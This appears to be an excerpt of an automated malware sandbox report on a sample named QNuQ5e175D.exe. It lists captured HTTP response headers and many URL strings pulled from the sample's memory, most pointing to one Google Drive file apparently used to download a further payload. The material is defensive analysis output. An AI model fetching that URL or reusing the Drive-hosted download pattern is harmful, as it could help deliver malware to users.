Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgR44WzFMtJklLZE7-HXmMu3WMgfHx6lgKfkbJbyTzgpthAyeMlE5sOCkcdaGcbczcTpuUHHOc8Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:07:35 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-VbidvOdMJnZfCX0n9sGQ0A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgQYsitrk7M_hOWuHD9TZcQS9bg28596iS2e1xQb7L5hgTRAqzMWwkGFFjMJyDowChgcContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Jan 2025 04:07:37 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-t3WNlEsGsc5xQtNeaaTF5w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close

Source: QNuQ5e175D.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: QNuQ5e175D.exe, 00000003.00000002.2562009711.0000000003A61000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1628142286.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2037793311.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: QNuQ5e175D.exe, 00000003.00000003.1757332882.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1803318830.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1982340373.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1903559932.0000000003A80000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1915165952.0000000003A80000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2457226025.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1655548219.0000000003A81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dhttps://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=d
Source: QNuQ5e175D.exe, 00000003.00000003.1745863415.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1881033712.0000000003A82000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1925981246.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000002.2562009711.0000000003A43000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1937805348.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1948379458.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1791818626.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1892630990.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1847687586.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1903523473.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1825678658.0000000003A80000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2138998807.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1813958035.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1617206388.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1642477593.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2468233736.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1892606488.0000000003A80000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1858349107.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1690308078.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1993229355.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1847731615.0000000003A81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: QNuQ5e175D.exe, 00000003.00000003.1881137157.0000000003A57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/E_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download
Source: QNuQ5e175D.exe, 00000003.00000003.1745863415.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1757399705.0000000003A57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/E_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download1
Source: QNuQ5e175D.exe, 00000003.00000003.1791818626.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1892630990.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1780110033.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1881137157.0000000003A57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/E_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download9
Source: QNuQ5e175D.exe, 00000003.00000002.2562009711.0000000003A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/E_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=downloads
Source: QNuQ5e175D.exe, 00000003.00000002.2562009711.0000000003A43000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1892630990.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1881137157.0000000003A57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/E_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=downloadt
Source: QNuQ5e175D.exe, 00000003.00000003.2457226025.0000000003A79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/Nr
Source: QNuQ5e175D.exe, 00000003.00000003.1745863415.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000002.2562009711.0000000003A43000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1791818626.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1892630990.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1780110033.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1768535254.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1757399705.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1881137157.0000000003A57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/ertificates
Source: QNuQ5e175D.exe, 00000003.00000003.1642418562.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1642477593.0000000003A81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/i
Source: QNuQ5e175D.exe, 00000003.00000003.2127459901.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1881033712.0000000003A82000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1925981246.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1937805348.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1948379458.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1847687586.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1903523473.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2138998807.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1892606488.0000000003A80000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1847731615.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2071438083.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2093555969.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1870054618.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1892558538.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1915071176.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2082212148.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2104101611.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1925952115.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2116216201.0000000003A78000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1937717326.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1870002480.0000000003A79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/r
Source: QNuQ5e175D.exe, 00000003.00000003.1915165952.0000000003A80000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2457226025.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000002.2562009711.0000000003A61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/rcontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=do
Source: QNuQ5e175D.exe, 00000003.00000003.1937805348.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1712715094.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1723334448.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1937717326.0000000003A79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/ube.
Source: QNuQ5e175D.exe, 00000003.00000003.2149994791.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000002.2562009711.0000000003A43000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2138998807.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2161768153.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2172691631.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000002.2582957401.0000000033120000.00000004.00001000.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000002.2562009711.0000000003A61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M
Source: QNuQ5e175D.exe, 00000003.00000002.2562009711.0000000003A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-MG
Source: QNuQ5e175D.exe, 00000003.00000003.2161768153.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2172691631.0000000003A79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-MKu5mJyfAs6YSv-M
Source: QNuQ5e175D.exe, 00000003.00000003.2149994791.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2138998807.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-MP
Source: QNuQ5e175D.exe, 00000003.00000002.2562009711.0000000003A61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-MY
Source: QNuQ5e175D.exe, 00000003.00000002.2562009711.0000000003A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-Mm
Source: QNuQ5e175D.exe, 00000003.00000003.1892630990.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1847687586.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1903523473.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1825678658.0000000003A80000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2138998807.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1813958035.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1617206388.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1642477593.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2468233736.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1892606488.0000000003A80000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1858349107.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1690308078.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1993229355.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1847731615.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1605210077.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1768510854.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1735078700.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1712715094.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2071438083.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2093555969.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1870054618.0000000003A81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: QNuQ5e175D.exe, 00000003.00000003.2127459901.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2149994791.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1642418562.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1881033712.0000000003A82000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1925981246.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1937805348.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1948379458.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1847687586.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1903523473.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1825678658.0000000003A80000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2138998807.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1813958035.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1617206388.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1642477593.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2468233736.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1892606488.0000000003A80000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1858349107.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1690308078.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1993229355.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1847731615.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1605210077.0000000003A81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/Z
Source: QNuQ5e175D.exe, 00000003.00000003.1628142286.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2037793311.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download
Source: QNuQ5e175D.exe, 00000003.00000002.2562009711.0000000003A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download/
Source: QNuQ5e175D.exe, 00000003.00000002.2562009711.0000000003A43000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1791818626.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1892630990.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1780110033.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1768535254.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1881137157.0000000003A57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download1
Source: QNuQ5e175D.exe, 00000003.00000003.1881137157.0000000003A57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download55
Source: QNuQ5e175D.exe, 00000003.00000003.1723334448.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1678008587.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1628142286.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download6a
Source: QNuQ5e175D.exe, 00000003.00000003.1745863415.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000002.2562009711.0000000003A43000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1768535254.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1757399705.0000000003A57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download9
Source: QNuQ5e175D.exe, 00000003.00000003.2127459901.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2071438083.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2093555969.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2082212148.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2104101611.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2060093323.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2434684472.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2116216201.0000000003A78000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2400667927.0000000003A79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=downloadFq
Source: QNuQ5e175D.exe, 00000003.00000003.2127459901.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2138998807.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1993229355.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2071438083.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2093555969.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2082212148.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2104101611.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2004745335.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2060093323.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2116216201.0000000003A78000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2049232170.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2015717613.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2027261178.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2037793311.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=downloadWq
Source: QNuQ5e175D.exe, 00000003.00000002.2562009711.0000000003A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download_
Source: QNuQ5e175D.exe, 00000003.00000002.2562009711.0000000003A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=downloada
Source: QNuQ5e175D.exe, 00000003.00000003.2093555969.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2082212148.0000000003A79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=downloaddq
Source: QNuQ5e175D.exe, 00000003.00000003.1745863415.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000002.2562009711.0000000003A43000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1791818626.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1892630990.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1780110033.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1768535254.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1628221931.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1757399705.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1881137157.0000000003A57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=downloadid
Source: QNuQ5e175D.exe, 00000003.00000002.2562009711.0000000003A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=downloadnn
Source: QNuQ5e175D.exe, 00000003.00000002.2562009711.0000000003A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=downloadpw
